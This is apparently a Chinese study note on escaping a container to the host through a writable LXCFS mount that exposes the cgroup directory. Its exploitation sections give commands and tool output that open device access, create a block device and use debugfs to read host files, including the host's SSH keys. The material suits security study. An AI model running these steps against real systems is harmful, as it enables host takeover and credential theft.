前言
继续学习容器逃逸知识:容器挂载的LXCFS目录包含cgroup目录时,可进行容器逃逸到宿主机。
漏洞介绍
lxcfs 是一个开源的FUSE(用户态文件系统)实现来支持LXC容器,它也可以支持Docker容器。
当pod挂载了LXCFS目录包含CGOURP目录,并且对CGROUP有写权限。
LXCFS简介
lxcfs 是一个开源的FUSE(用户态文件系统)实现来支持LXC容器,它也可以支持Docker容器。
LXCFS通过用户态文件系统,在容器中提供下列 procfs 的文件:
/proc/cpuinfo
/proc/diskstats
/proc/meminfo
/proc/stat
/proc/swaps
/proc/uptime
比如,把宿主机的 /var/lib/lxcfs/proc/memoinfo
文件挂载到Docker容器的/proc/meminfo
位置后。容器中进程读取相应文件内容时,LXCFS的FUSE实现会从容器对应的Cgroup中读取正确的内存限制(Linux利用Cgroup实现了对容器的资源限制)。从而使得应用获得正确的资源约束设定。
Docker环境下LXCFS使用:
安装:
wget https://copr-be.cloud.fedoraproject.org/results/ganto/lxd/epel-7-x86_64/00486278-lxcfs/lxcfs-2.0.5-3.el7.centos.x86_64.rpm
yum install lxcfs-2.0.5-3.el7.centos.x86_64.rpm
启动:
lxcfs /var/lib/lxcfs &
运行容器并测试:
docker run -it -m 256m \
-v /var/lib/lxcfs/proc/cpuinfo:/proc/cpuinfo:rw \
-v /var/lib/lxcfs/proc/diskstats:/proc/diskstats:rw \
-v /var/lib/lxcfs/proc/meminfo:/proc/meminfo:rw \
-v /var/lib/lxcfs/proc/stat:/proc/stat:rw \
-v /var/lib/lxcfs/proc/swaps:/proc/swaps:rw \
-v /var/lib/lxcfs/proc/uptime:/proc/uptime:rw \
ubuntu:16.04 /bin/bash
root@f4a2a01e61cd:/# free
total used free shared buff/cache available
Mem: 262144 708 261436 2364 0 261436
Swap: 0 0 0
漏洞利用
cdk关于该漏洞的exp
./cdk run lxcfs-rw
root@lxcfs-rw:/tmp# ./cdk run lxcfs-rw
2021/01/28 09:25:21 found pod devices.allow path: /kubepods/burstable/pod561ee143-4468-443a-9940-f262a9417ae5/ef6edb3c483591aaa28923df6de84d1fedb9372890c4441fd0e31ed4972237b1
2021/01/28 09:25:21 found host blockDeviceId Marjor: 252 Minor: 1
2021/01/28 09:25:21 found rw lxcfs mountpoint: /data/test/lxcfs
2021/01/28 09:25:22 set all block device accessible success.
2021/01/28 09:25:22 devices.allow content: a *:* rwm
2021/01/28 09:25:22 exploit success, run "debugfs -w host_dev".
root@lxcfs-rw:/tmp# debugfs -w host_dev
debugfs 1.44.5 (15-Dec-2018)
debugfs: ls /root/.ssh
393231 (12) . 52566 (12) .. 395870 (24) authorized_keys
395829 (16) config 395860 (20) known_hosts 393227 (16) id_rsa
395831 (3996) id_rsa.pub
漏洞复现
以下漏洞复现参考自:
https://its301.com/article/w1590191166/113089994
(1)首先需要安装lxcfs,运行lxcfs:lxcfs /var/lib/lxcfs
(2)docker起容器,把上图中lxcfs目录位置映射至容器内,之后mount |grep lxcfs即可看到lxcfs挂载情况
(3)echo a > /test/lxcfs/cgroup/devices/docker/e0345392dd64fdae204ecf561075e6a45d228806ecc6e6647e112e35d4408fd4/devices.allow
设置容器允许访问所有类型设备(这里就需要包含的cgroup目录)
(4)cat /proc/self/mountinfo |grep etc
查看/etc目录的node号
(5)mknod test2 b 254 1
创建设备(设备文件名称test2
、文件类型b
为块设备、主设备号254
、次设备号1
)
(6)debugfs -w test2
进行调试,通过ls命令和write命令即可读写文件
写文件到宿主机目录下:
读宿主机文件:
参考链接
https://blog.csdn.net/yunqiinsight/article/details/80134494
https://its301.com/article/w1590191166/113089994